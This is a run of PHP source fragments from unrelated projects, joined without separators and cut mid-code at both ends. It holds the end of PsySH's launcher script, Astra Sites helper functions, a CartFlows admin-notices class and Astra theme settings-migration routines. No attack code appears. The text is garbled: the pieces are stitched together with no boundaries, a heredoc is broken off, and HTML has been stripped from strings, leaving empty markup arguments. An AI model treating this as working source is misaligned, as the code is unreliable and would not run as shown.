? $_SERVER['argv'] : []; $name = $argv ? \basename(\reset($argv)) : 'psysh'; echo <<getOption('version')) { echo Shell::getVersionHeader($config->useUnicode()).\PHP_EOL; exit(0); } // Handle --self-update if ($input->getOption('self-update')) { if (!$shellIsPhar) { \fwrite(\STDERR, 'The --self-update option can only be used with with a phar based install.'.\PHP_EOL); exit(1); } $selfUpdate = new SelfUpdate(new GitHubChecker(), new Installer()); $result = $selfUpdate->run($input, $config->getOutput()); exit($result); } $shell = new Shell($config); // Pass additional arguments to Shell as 'includes' $shell->setIncludes($input->getArgument('include')); try { // And go! $shell->run(); } catch (\Throwable $e) { \fwrite(\STDERR, $e->getMessage().\PHP_EOL); // @todo this triggers the "exited unexpectedly" logic in the // ForkingLoop, so we can't exit(1) after starting the shell... // fix this :) // exit(1); } }; } }/** * Functions * * @since 2.0.0 * @package Astra Sites */ if ( ! function_exists( 'astra_sites_error_log' ) ) : /** * Error Log * * A wrapper function for the error_log() function. * * @since 2.0.0 * * @param mixed $message Error message. * @return void */ function astra_sites_error_log( $message = '' ) { if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) { if ( is_array( $message ) ) { $message = wp_json_encode( $message ); } if ( apply_filters( 'astra_sites_debug_logs', false ) ) { error_log( $message ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- This is for the debug logs while importing. This is conditional and will not be logged in the debug.log file for normal users. } } } endif; if ( ! function_exists( 'astra_sites_get_suggestion_link' ) ) : /** * * Get suggestion link. * * @since 2.6.1 * * @return suggestion link. */ function astra_sites_get_suggestion_link() { $white_label_link = Astra_Sites_White_Label::get_option( 'astra-agency', 'licence' ); if ( empty( $white_label_link ) ) { $white_label_link = 'https://wpastra.com/sites-suggestions/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=suggestions'; } return apply_filters( 'astra_sites_suggestion_link', $white_label_link ); } endif; if ( ! function_exists( 'astra_sites_is_valid_image' ) ) : /** * Check for the valid image * * @param string $link The Image link. * * @since 2.6.2 * @return boolean */ function astra_sites_is_valid_image( $link = '' ) { return preg_match( '/^((https?:\/\/)|(www\.))([a-z0-9-].?)+(:[0-9]+)?\/[\w\-\@]+\.(jpg|png|gif|jpeg|svg)\/?$/i', $link ); } endif; if ( ! function_exists( 'astra_get_site_data' ) ) : /** * Returns the value of the index for the Site Data * * @param string $index The index value of the data. * * @since 2.6.14 * @return mixed */ function astra_get_site_data( $index = '' ) { $demo_data = Astra_Sites_File_System::get_instance()->get_demo_content(); if ( ! empty( $demo_data ) && isset( $demo_data[ $index ] ) ) { return $demo_data[ $index ]; } return ''; } endif; if ( ! function_exists( 'astra_sites_get_reset_form_data' ) ) : /** * Get all the forms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_form_data() { global $wpdb; $form_ids = $wpdb->get_col( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_astra_sites_imported_wp_forms'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the WP forms. Traditional WP_Query would have been expensive here. return $form_ids; } endif; if ( ! function_exists( 'astra_sites_get_reset_term_data' ) ) : /** * Get all the terms to be reset. * * @since 3.0.3 * @return array */ function astra_sites_get_reset_term_data() { global $wpdb; $term_ids = $wpdb->get_col( "SELECT term_id FROM {$wpdb->termmeta} WHERE meta_key='_astra_sites_imported_term'" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need this to get all the terms and taxonomy. Traditional WP_Query would have been expensive here. return $term_ids; } endif; if ( ! function_exists( 'astra_sites_empty_post_excerpt' ) ) : /** * Remove the post excerpt * * @param int $post_id The post ID. * @since 3.1.0 */ function astra_sites_empty_post_excerpt( $post_id = 0 ) { if ( ! $post_id ) { return; } wp_update_post( array( 'ID' => $post_id, 'post_excerpt' => '', ) ); } endif;/** * CartFlows Admin Notices. * * @package CartFlows */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class Cartflows_Admin_Notices. */ class Cartflows_Admin_Notices { /** * Instance * * @access private * @var object Class object. * @since 1.0.0 */ private static $instance; /** * Initiator * * @since 1.0.0 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_action( 'admin_head', array( $this, 'show_admin_notices' ) ); add_action( 'admin_footer', array( $this, 'show_nps_notice' ), 999 ); add_action( 'admin_enqueue_scripts', array( $this, 'notices_scripts' ) ); add_action( 'wp_ajax_cartflows_ignore_gutenberg_notice', array( $this, 'ignore_gb_notice' ) ); add_action( 'wp_ajax_cartflows_disable_weekly_report_email_notice', array( $this, 'disable_weekly_report_email_notice' ) ); add_filter( 'woo_ca_plugin_review_url', array( $this, 'update_review_link' ), 10, 1 ); } /** * Update review link for cart abandonment. * * @param string $review_link review link. * * @return string URL. */ public function update_review_link( $review_link ) { return 'https://wordpress.org/support/plugin/cartflows/reviews/?filter=5#new-post'; } /** * Show the weekly email Notice * * @return void */ public function show_weekly_report_email_settings_notice() { if ( ! $this->allowed_screen_for_notices() ) { return; } $is_show_notice = get_option( 'cartflows_show_weekly_report_email_notice', 'no' ); if ( 'yes' === $is_show_notice && current_user_can( 'manage_options' ) ) { $setting_url = admin_url( 'admin.php?page=cartflows&path=settings#other_settings' ); /* translators: %1$s Software Title, %2$s Plugin, %3$s Anchor opening tag, %4$s Anchor closing tag, %5$s Software Title. */ $message = sprintf( __( '%1$sCartFlows:%2$s We just introduced an awesome new feature, weekly store revenue reports via email. Now you can see how many revenue we are generating for your store each week, without having to log into your website. You can set the email address for these email from %3$shere.%4$s', 'cartflows' ), '', '', '', '' ); $output = '
'; $output .= '

' . $message . '

'; $output .= '
'; echo wp_kses_post( $output ); } } /** * Disable the weekly email Notice * * @return void */ public function disable_weekly_report_email_notice() { if ( ! current_user_can( 'manage_options' ) ) { return; } check_ajax_referer( 'cartflows-disable-weekly-report-email-notice', 'security' ); delete_option( 'cartflows_show_weekly_report_email_notice' ); wp_send_json_success(); } /** * After save of permalinks. */ public function notices_scripts() { if ( ! $this->allowed_screen_for_notices() || ! current_user_can( 'cartflows_manage_flows_steps' ) ) { return; } wp_enqueue_style( 'cartflows-custom-notices', CARTFLOWS_URL . 'admin/assets/css/notices.css', array(), CARTFLOWS_VER ); wp_enqueue_script( 'cartflows-notices', CARTFLOWS_URL . 'admin/assets/js/ui-notice.js', array( 'jquery' ), CARTFLOWS_VER, true ); $localize_vars = array( 'ignore_gb_notice' => wp_create_nonce( 'cartflows-ignore-gutenberg-notice' ), 'dismiss_weekly_report_email_notice' => wp_create_nonce( 'cartflows-disable-weekly-report-email-notice' ), ); wp_localize_script( 'cartflows-notices', 'cartflows_notices', $localize_vars ); } /** * After save of permalinks. */ public function show_admin_notices() { if ( ! $this->allowed_screen_for_notices() || ! current_user_can( 'cartflows_manage_flows_steps' ) ) { return; } global $wp_version; if ( version_compare( $wp_version, '5.0', '>=' ) && is_plugin_active( 'gutenberg/gutenberg.php' ) ) { add_action( 'admin_notices', array( $this, 'gutenberg_plugin_deactivate_notice' ) ); } add_action( 'admin_notices', array( $this, 'show_weekly_report_email_settings_notice' ) ); } /** * Render CartFlows NPS Survey Notice. * * @since x.x.x * @return void */ public function show_nps_notice() { Nps_Survey::show_nps_notice( 'nps-survey-cartflows', array( 'show_if' => $this->should_display_nps_survey_notice(), 'dismiss_timespan' => 2 * WEEK_IN_SECONDS, 'display_after' => 0, 'plugin_slug' => 'cartflows', 'message' => array( // Step 1 i.e rating input. 'logo' => esc_url( CARTFLOWS_URL . 'admin-core/assets/images/cartflows-icon.svg' ), 'plugin_name' => __( 'CartFlows', 'cartflows' ), 'nps_rating_message' => __( 'How likely are you to recommend #pluginname to your friends or colleagues?', 'cartflows' ), // Step 2A i.e. positive. 'feedback_content' => __( 'Could you please do us a favor and give us a 5-star rating on WordPress? It would help others choose CartFlows with confidence. Thank you!', 'cartflows' ), 'plugin_rating_link' => esc_url( 'https://wordpress.org/support/plugin/cartflows/reviews/#new-post' ), // Step 2B i.e. negative. 'plugin_rating_title' => __( 'Thank you for your feedback', 'cartflows' ), 'plugin_rating_content' => __( 'We value your input. How can we improve your experience?', 'cartflows' ), ), ) ); } /** * Show Deactivate gutenberg plugin notice. * * @since 1.1.19 * * @return void */ public function gutenberg_plugin_deactivate_notice() { $ignore_notice = get_option( 'wcf_ignore_gutenberg_notice', false ); if ( 'yes' !== $ignore_notice ) { printf( '

%s

%s
', wp_kses_post( sprintf( /* translators: %1$s: HTML, %2$s: HTML */ __( 'Heads up! The Gutenberg plugin is not recommended on production sites as it may contain non-final features that cause compatibility issues with CartFlows and other plugins. %1$s Please deactivate the Gutenberg plugin %2$s to ensure the proper functioning of your website.', 'cartflows' ), '', '' ) ), '' ); } } /** * Ignore admin notice. */ public function ignore_gb_notice() { if ( ! current_user_can( 'cartflows_manage_flows_steps' ) ) { return; } check_ajax_referer( 'cartflows-ignore-gutenberg-notice', 'security' ); update_option( 'wcf_ignore_gutenberg_notice', 'yes' ); } /** * Check allowed screen for notices. * * @since 1.0.0 * @return bool */ public function allowed_screen_for_notices() { $screen = get_current_screen(); $screen_id = $screen ? $screen->id : ''; $allowed_screens = array( 'toplevel_page_cartflows', 'dashboard', 'plugins', ); if ( in_array( $screen_id, $allowed_screens, true ) ) { return true; } return false; } /** * Check if the user has completed the onboarding, skipped the onboarding on ready step, and the store checkout is imported. * * @since x.x.x * @return bool */ public function should_display_nps_survey_notice() { $is_store_checkout_imported = (bool) get_option( '_cartflows_wizard_store_checkout_set', false ); // Must be true. $onboarding_completed = (bool) get_option( 'wcf_setup_complete', false ); // Must be true. $is_first_funnel_imported = (bool) get_option( 'wcf_first_flow_imported', false ); // Must be true. $total_funnels = intval( wp_count_posts( CARTFLOWS_FLOW_POST_TYPE )->publish ); // Must be greater than or equal to 1. /** * Show the notice in two conditions. * 1. If completed the onboarding steps/process of plugin and sets their first store checkout funnel successfully. * 2. If sets up the first funnel manually and makes it live. */ return ( $is_store_checkout_imported && $onboarding_completed ) || ( $is_first_funnel_imported && 1 >= $total_funnels ) || ( 1 >= $total_funnels ); } } Cartflows_Admin_Notices::get_instance();/** * Astra Updates * * Functions for updating data, used by the background updater. * * @package Astra * @version 2.1.3 */ defined( 'ABSPATH' ) || exit; /** * Clear Astra + Astra Pro assets cache. * * @since 3.6.1 * @return void. */ function astra_clear_all_assets_cache() { if ( ! class_exists( 'Astra_Cache_Base' ) ) { return; } // Clear Astra theme asset cache. $astra_cache_base_instance = new Astra_Cache_Base( 'astra' ); $astra_cache_base_instance->refresh_assets( 'astra' ); // Clear Astra Addon's static and dynamic CSS asset cache. $astra_addon_cache_base_instance = new Astra_Cache_Base( 'astra-addon' ); $astra_addon_cache_base_instance->refresh_assets( 'astra-addon' ); } /** * 4.0.0 backward handling part. * * 1. Migrate existing setting & do required onboarding for new admin dashboard v4.0.0 app. * 2. Migrating Post Structure & Meta options in title area meta parts. * * @since 4.0.0 * @return void */ function astra_theme_background_updater_4_0_0() { // Dynamic customizer migration starts here. $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['dynamic-blog-layouts'] ) && ! isset( $theme_options['theme-dynamic-customizer-support'] ) ) { $theme_options['dynamic-blog-layouts'] = false; $theme_options['theme-dynamic-customizer-support'] = true; $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); // Archive summary box compatibility. $archive_title_font_size = array( 'desktop' => isset( $theme_options['font-size-archive-summary-title']['desktop'] ) ? $theme_options['font-size-archive-summary-title']['desktop'] : 40, 'tablet' => isset( $theme_options['font-size-archive-summary-title']['tablet'] ) ? $theme_options['font-size-archive-summary-title']['tablet'] : '', 'mobile' => isset( $theme_options['font-size-archive-summary-title']['mobile'] ) ? $theme_options['font-size-archive-summary-title']['mobile'] : '', 'desktop-unit' => isset( $theme_options['font-size-archive-summary-title']['desktop-unit'] ) ? $theme_options['font-size-archive-summary-title']['desktop-unit'] : 'px', 'tablet-unit' => isset( $theme_options['font-size-archive-summary-title']['tablet-unit'] ) ? $theme_options['font-size-archive-summary-title']['tablet-unit'] : 'px', 'mobile-unit' => isset( $theme_options['font-size-archive-summary-title']['mobile-unit'] ) ? $theme_options['font-size-archive-summary-title']['mobile-unit'] : 'px', ); $single_title_font_size = array( 'desktop' => isset( $theme_options['font-size-entry-title']['desktop'] ) ? $theme_options['font-size-entry-title']['desktop'] : '', 'tablet' => isset( $theme_options['font-size-entry-title']['tablet'] ) ? $theme_options['font-size-entry-title']['tablet'] : '', 'mobile' => isset( $theme_options['font-size-entry-title']['mobile'] ) ? $theme_options['font-size-entry-title']['mobile'] : '', 'desktop-unit' => isset( $theme_options['font-size-entry-title']['desktop-unit'] ) ? $theme_options['font-size-entry-title']['desktop-unit'] : 'px', 'tablet-unit' => isset( $theme_options['font-size-entry-title']['tablet-unit'] ) ? $theme_options['font-size-entry-title']['tablet-unit'] : 'px', 'mobile-unit' => isset( $theme_options['font-size-entry-title']['mobile-unit'] ) ? $theme_options['font-size-entry-title']['mobile-unit'] : 'px', ); $archive_summary_box_bg = array( 'desktop' => array( 'background-color' => ! empty( $theme_options['archive-summary-box-bg-color'] ) ? $theme_options['archive-summary-box-bg-color'] : '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'background-type' => '', 'background-media' => '', ), 'tablet' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'background-type' => '', 'background-media' => '', ), 'mobile' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'background-type' => '', 'background-media' => '', ), ); // Single post structure. foreach ( $post_types as $index => $post_type ) { /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $single_post_structure = isset( $theme_options['blog-single-post-structure'] ) ? $theme_options['blog-single-post-structure'] : array( 'single-image', 'single-title-meta' ); /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $migrated_post_structure = array(); if ( ! empty( $single_post_structure ) ) { /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort foreach ( $single_post_structure as $key ) { /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( 'single-title-meta' === $key ) { $migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title'; if ( 'post' === $post_type ) { $migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-meta'; } } if ( 'single-image' === $key ) { $migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-image'; } } $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-structure' ] = $migrated_post_structure; } // Single post meta. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $single_post_meta = isset( $theme_options['blog-single-meta'] ) ? $theme_options['blog-single-meta'] : array( 'comments', 'category', 'author' ); /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $migrated_post_metadata = array(); if ( ! empty( $single_post_meta ) ) { $tax_counter = 0; $tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy'; /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort foreach ( $single_post_meta as $key ) { /** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort switch ( $key ) { case 'author': $migrated_post_metadata[] = 'author'; break; case 'date': $migrated_post_metadata[] = 'date'; break; case 'comments': $migrated_post_metadata[] = 'comments'; break; case 'category': if ( 'post' === $post_type ) { $migrated_post_metadata[] = $tax_slug; $theme_options[ $tax_slug ] = 'category'; $tax_counter = ++$tax_counter; $tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter; } break; case 'tag': if ( 'post' === $post_type ) { $migrated_post_metadata[] = $tax_slug; $theme_options[ $tax_slug ] = 'post_tag'; $tax_counter = ++$tax_counter; $tax_slug = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter; } break; default: break; } } $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-metadata' ] = $migrated_post_metadata; } // Archive layout compatibilities. $archive_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WooCommerce archive option disabled as WC already added their header content on archive. $theme_options[ 'ast-archive-' . esc_attr( $post_type ) . '-title' ] = $archive_banner_layout; // Single layout compatibilities. $single_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WC single option disabled as there is no any header set from default WooCommerce. $theme_options[ 'ast-single-' . esc_attr( $post_type ) . '-title' ] = $single_banner_layout; // BG color support. $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-image-type' ] = ! empty( $theme_options['archive-summary-box-bg-color'] ) ? 'custom' : 'none'; $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg' ] = $archive_summary_box_bg; // Archive title font support. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-archive-summary-title'] ) ? $theme_options['font-family-archive-summary-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-size' ] = $archive_title_font_size; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-archive-summary-title'] ) ? $theme_options['font-weight-archive-summary-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $archive_dynamic_line_height = ! empty( $theme_options['line-height-archive-summary-title'] ) ? $theme_options['line-height-archive-summary-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $archive_dynamic_text_transform = ! empty( $theme_options['text-transform-archive-summary-title'] ) ? $theme_options['text-transform-archive-summary-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-extras' ] = array( 'line-height' => $archive_dynamic_line_height, 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => $archive_dynamic_text_transform, 'text-decoration' => '', ); // Archive title colors support. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['archive-summary-box-title-color'] ) ? $theme_options['archive-summary-box-title-color'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-text-color' ] = ! empty( $theme_options['archive-summary-box-text-color'] ) ? $theme_options['archive-summary-box-text-color'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort // Single title colors support. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['entry-title-color'] ) ? $theme_options['entry-title-color'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort // Single title font support. /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-entry-title'] ) ? $theme_options['font-family-entry-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-size' ] = $single_title_font_size; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-entry-title'] ) ? $theme_options['font-weight-entry-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $single_dynamic_line_height = ! empty( $theme_options['line-height-entry-title'] ) ? $theme_options['line-height-entry-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $single_dynamic_text_transform = ! empty( $theme_options['text-transform-entry-title'] ) ? $theme_options['text-transform-entry-title'] : ''; /** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ] = array( 'line-height' => $single_dynamic_line_height, 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => $single_dynamic_text_transform, 'text-decoration' => '', ); } // Set page specific structure, as page only has featured image at top & title beneath to it, hardcoded writing it here. $theme_options['ast-dynamic-single-page-structure'] = array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' ); // EDD content layout & sidebar layout migration in new dynamic option. $theme_options['archive-download-content-layout'] = isset( $theme_options['edd-archive-product-layout'] ) ? $theme_options['edd-archive-product-layout'] : 'default'; $theme_options['archive-download-sidebar-layout'] = isset( $theme_options['edd-sidebar-layout'] ) ? $theme_options['edd-sidebar-layout'] : 'no-sidebar'; $theme_options['single-download-content-layout'] = isset( $theme_options['edd-single-product-layout'] ) ? $theme_options['edd-single-product-layout'] : 'default'; $theme_options['single-download-sidebar-layout'] = isset( $theme_options['edd-single-product-sidebar-layout'] ) ? $theme_options['edd-single-product-sidebar-layout'] : 'default'; update_option( 'astra-settings', $theme_options ); } // Admin backward handling starts here. $admin_dashboard_settings = get_option( 'astra_admin_settings', array() ); if ( ! isset( $admin_dashboard_settings['theme-setup-admin-migrated'] ) ) { if ( ! isset( $admin_dashboard_settings['self_hosted_gfonts'] ) ) { $admin_dashboard_settings['self_hosted_gfonts'] = isset( $theme_options['load-google-fonts-locally'] ) ? $theme_options['load-google-fonts-locally'] : false; } if ( ! isset( $admin_dashboard_settings['preload_local_fonts'] ) ) { $admin_dashboard_settings['preload_local_fonts'] = isset( $theme_options['preload-local-fonts'] ) ? $theme_options['preload-local-fonts'] : false; } // Consider admin part from theme side migrated. $admin_dashboard_settings['theme-setup-admin-migrated'] = true; update_option( 'astra_admin_settings', $admin_dashboard_settings ); } // Check if existing user and disable smooth scroll-to-id. if ( ! isset( $theme_options['enable-scroll-to-id'] ) ) { $theme_options['enable-scroll-to-id'] = false; update_option( 'astra-settings', $theme_options ); } // Check if existing user and disable scroll to top if disabled from pro addons list. $scroll_to_top_visibility = false; /** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'scroll-to-top' ) ) { /** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $scroll_to_top_visibility = true; } if ( ! isset( $theme_options['scroll-to-top-enable'] ) ) { $theme_options['scroll-to-top-enable'] = $scroll_to_top_visibility; update_option( 'astra-settings', $theme_options ); } // Default colors & typography flag. if ( ! isset( $theme_options['update-default-color-typo'] ) ) { $theme_options['update-default-color-typo'] = false; update_option( 'astra-settings', $theme_options ); } // Block editor experience improvements compatibility flag. if ( ! isset( $theme_options['v4-block-editor-compat'] ) ) { $theme_options['v4-block-editor-compat'] = false; update_option( 'astra-settings', $theme_options ); } } /** * 4.0.2 backward handling part. * * 1. Read Time option backwards handling for old users. * * @since 4.0.2 * @return void */ function astra_theme_background_updater_4_0_2() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-0-2-update-migration'] ) && isset( $theme_options['blog-single-meta'] ) && in_array( 'read-time', $theme_options['blog-single-meta'] ) ) { if ( isset( $theme_options['ast-dynamic-single-post-metadata'] ) && ! in_array( 'read-time', $theme_options['ast-dynamic-single-post-metadata'] ) ) { $theme_options['ast-dynamic-single-post-metadata'][] = 'read-time'; $theme_options['v4-0-2-update-migration'] = true; update_option( 'astra-settings', $theme_options ); } } } /** * Handle backward compatibility on version 4.1.0 * * @since 4.1.0 * @return void */ function astra_theme_background_updater_4_1_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-1-0-update-migration'] ) ) { $theme_options['v4-1-0-update-migration'] = true; $current_payment_list = array(); $old_payment_list = isset( $theme_options['single-product-payment-list']['items'] ) ? $theme_options['single-product-payment-list']['items'] : array(); $visa_payment = isset( $theme_options['single-product-payment-visa'] ) ? $theme_options['single-product-payment-visa'] : ''; $mastercard_payment = isset( $theme_options['single-product-payment-mastercard'] ) ? $theme_options['single-product-payment-mastercard'] : ''; $discover_payment = isset( $theme_options['single-product-payment-discover'] ) ? $theme_options['single-product-payment-discover'] : ''; $paypal_payment = isset( $theme_options['single-product-payment-paypal'] ) ? $theme_options['single-product-payment-paypal'] : ''; $apple_pay_payment = isset( $theme_options['single-product-payment-apple-pay'] ) ? $theme_options['single-product-payment-apple-pay'] : ''; false !== $visa_payment ? array_push( $current_payment_list, array( 'id' => 'item-100', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-visa', 'image' => '', 'label' => __( 'Visa', 'astra' ), ) ) : ''; false !== $mastercard_payment ? array_push( $current_payment_list, array( 'id' => 'item-101', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-mastercard', 'image' => '', 'label' => __( 'Mastercard', 'astra' ), ) ) : ''; false !== $mastercard_payment ? array_push( $current_payment_list, array( 'id' => 'item-102', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-amex', 'image' => '', 'label' => __( 'Amex', 'astra' ), ) ) : ''; false !== $discover_payment ? array_push( $current_payment_list, array( 'id' => 'item-103', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-discover', 'image' => '', 'label' => __( 'Discover', 'astra' ), ) ) : ''; $paypal_payment ? array_push( $current_payment_list, array( 'id' => 'item-104', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-paypal', 'image' => '', 'label' => __( 'Paypal', 'astra' ), ) ) : ''; $apple_pay_payment ? array_push( $current_payment_list, array( 'id' => 'item-105', 'enabled' => true, 'source' => 'icon', 'icon' => 'cc-apple-pay', 'image' => '', 'label' => __( 'Apple Pay', 'astra' ), ) ) : ''; if ( $current_payment_list ) { $theme_options['single-product-payment-list'] = array( 'items' => array_merge( $current_payment_list, $old_payment_list ), ); update_option( 'astra-settings', $theme_options ); } if ( ! isset( $theme_options['woo_support_global_settings'] ) ) { $theme_options['woo_support_global_settings'] = true; update_option( 'astra-settings', $theme_options ); } if ( isset( $theme_options['theme-dynamic-customizer-support'] ) ) { $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); foreach ( $post_types as $index => $post_type ) { $theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ]['text-transform'] = ''; } update_option( 'astra-settings', $theme_options ); } } } /** * 4.1.4 backward handling cases. * * 1. Migrating users to combined color overlay option to new dedicated overlay options. * * @since 4.1.4 * @return void */ function astra_theme_background_updater_4_1_4() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['v4-1-4-update-migration'] ) ) { $ast_bg_control_options = array( 'off-canvas-background', 'footer-adv-bg-obj', 'footer-bg-obj', ); foreach ( 